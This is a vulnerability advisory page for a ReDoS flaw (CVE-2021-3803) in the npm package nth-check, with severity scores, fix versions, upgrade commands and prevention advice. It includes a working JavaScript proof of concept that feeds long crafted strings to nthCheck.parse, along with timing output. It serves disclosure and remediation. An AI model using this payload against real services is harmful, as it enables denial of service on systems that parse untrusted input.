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GHSA-rp65-9cf3-cjxr CVE-2021-3803

Inefficient Regular Expression Complexity in nth-check

High npm
Severity
7.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
2.21%
Chance of exploitation in the next 30 days. Higher than 82.57% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-1333 Inefficient Regular Expression Complexity
Fix
2.0.1
Upgrade nth-check to this version or later

Description

There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.

The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern \s*(?:([+-]?)\s*(\d+))? with quantified overlapping adjacency and can be exploited with the following code.

Proof of Concept

// PoC.js
var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = '2n' + ' '.repeat(i*10000)+"!";
    try {
        nthCheck.parse(attack_str) 
    }
    catch(err) {
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
    }
}

The Output

attack_str.length: 10003: 174 ms
attack_str.length: 20003: 1427 ms
attack_str.length: 30003: 2602 ms
attack_str.length: 40003: 4378 ms
attack_str.length: 50003: 7473 ms

Affected versions

npm

PackageVulnerableFixed in
nth-check
< 2.0.1
2.0.1

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

nth-check npm → 2.0.1

npm
npm install nth-check@2.0.1
yarn
yarn add nth-check@2.0.1
pnpm
pnpm add nth-check@2.0.1

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-1333: Inefficient Regular Expression Complexity

The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.

How to prevent it
  • Architecture and Design: Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.
  • System Configuration: Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.
  • Implementation: Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.
  • Implementation: Limit the length of the input that the regular expression will process.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-7wch-p9px-956x
Forge: Regular expression denial of service in PEM decoding (pem.decode)
High Same weakness, CWE-1333
GHSA-xcq7-p3pf-p88h
OpenTelemetry Python: Unbounded tracestate parsing in opentelemetry-api
Medium Same weakness, CWE-1333
GHSA-xgh8-jp6q-p5x8
Pillow: ReDoS in XbmImagePlugin: 512-byte file stalls Image.open() for minutes
High Same weakness, CWE-1333
GHSA-rxp7-6hxx-x8q5
ip-address: Address6 matches a zone identifier in quadratic time ahead of its length limit, allowing a single long string to stall the process
Medium Same weakness, CWE-1333
GHSA-r925-mgvr-h9cc
Symfony: ReDoS in HeaderUtils::split() Reachable Through the Cache-Control Request Header
High Same weakness, CWE-1333
GHSA-4ffr-jq9g-5ffx
Nodemailer: Quadratic backtracking in SMTP AUTH mechanism detection regexes allows pre-auth remote denial of service
High Same weakness, CWE-1333
GHSA-m64x-33q8-m5h7
GitPython parse_actor_and_date() is vulnerable to quadratic backtracking on malformed identity lines
High Same weakness, CWE-1333
GHSA-2g7p-5934-q4w7
Payload: ReDoS in Multipart Content-Type Validation
High Same weakness, CWE-1333
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